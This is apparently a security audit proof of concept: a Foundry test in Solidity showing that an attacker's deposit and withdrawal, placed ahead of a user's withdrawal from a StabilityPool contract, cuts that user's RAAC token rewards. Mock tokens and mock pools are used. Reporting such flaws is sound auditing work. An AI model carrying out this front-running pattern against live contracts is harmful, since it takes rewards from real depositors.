The following POC has 2 function, 1st function showing the amount of Rewards gotten from the withdrawal action without any frontrunning, the second function shows the amount of rewards gotten from the withdrawl action
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
contract MockRToken is ERC20 {
constructor() ERC20("Mock RToken", "rCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockDEToken is ERC20 {
constructor() ERC20("Mock DEToken", "deCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
_burn(from, amount);
}
}
contract MockRAACMinter {
function tick() external {}
}
contract MockLendingPool {
mapping(address => uint256) public userDebt;
uint256 public normalizedDebt = 1e18;
function getUserDebt(address user) external view returns (uint256) {
return userDebt[user];
}
function getNormalizedDebt() external view returns (uint256) {
return normalizedDebt;
}
function finalizeLiquidation(address user) external {
userDebt[user] = 0;
}
}
contract MockRAACToken is ERC20 {
constructor() ERC20("Mock RAAC Token", "RAAC") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract StabilityPoolTest is Test {
StabilityPool public stabilityPool;
MockRToken public rToken;
MockDEToken public deToken;
MockRAACToken public raacToken;
MockRAACMinter public raacMinter;
MockLendingPool public lendingPool;
IERC20 public crvUSDToken;
address public owner = vm.addr(1);
address public manager1 = vm.addr(2);
address public user1 = vm.addr(3);
address public user2 = vm.addr(4);
uint256 public constant INITIAL_AMOUNT = 1_000_000e18;
function setUp() public {
rToken = new MockRToken();
deToken = new MockDEToken();
raacToken = new MockRAACToken();
raacMinter = new MockRAACMinter();
lendingPool = new MockLendingPool();
crvUSDToken = IERC20(address(new MockRToken()));
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvUSDToken),
address(lendingPool)
);
rToken.mint(user1, INITIAL_AMOUNT);
rToken.mint(user2, INITIAL_AMOUNT);
raacToken.mint(address(stabilityPool), INITIAL_AMOUNT);
vm.prank(user2);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.prank(user1);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.prank(owner);
stabilityPool.addManager(manager1, 500_000e18);
}
function test_rewardswithoutfrontrunningAttack()public{
vm.startPrank(user1);
uint256 initialDeposit = 10e18;
stabilityPool.deposit(initialDeposit);
stabilityPool.withdraw(initialDeposit);
uint256 givenRewards = raacToken.balanceOf(user1);
console.log("The RAACTOKEN rewards from this transaction:",givenRewards);
vm.stopPrank();
}
function test_rewardsWithFrontrunningAttack() public{
vm.startPrank(user1);
uint256 SomeAmount = 10e18 ;
stabilityPool.deposit(SomeAmount);
vm.stopPrank();
vm.startPrank(user2);
uint256 AttackAmount= 1e18;
stabilityPool.deposit(AttackAmount);
stabilityPool.withdraw(AttackAmount);
vm.stopPrank();
vm.startPrank(user1);
stabilityPool.withdraw(SomeAmount);
vm.stopPrank();
uint256 attackRewards = raacToken.balanceOf(user2);
uint256 userRewards = raacToken.balanceOf(user1);
console.log("The attacker rewards:", attackRewards);
console.log("The user rewards:",userRewards);
}
}
We can clearly see that the amount of rewards is significantly low than the amount gotten without, and this amount would go down even more if the attack amount would be more.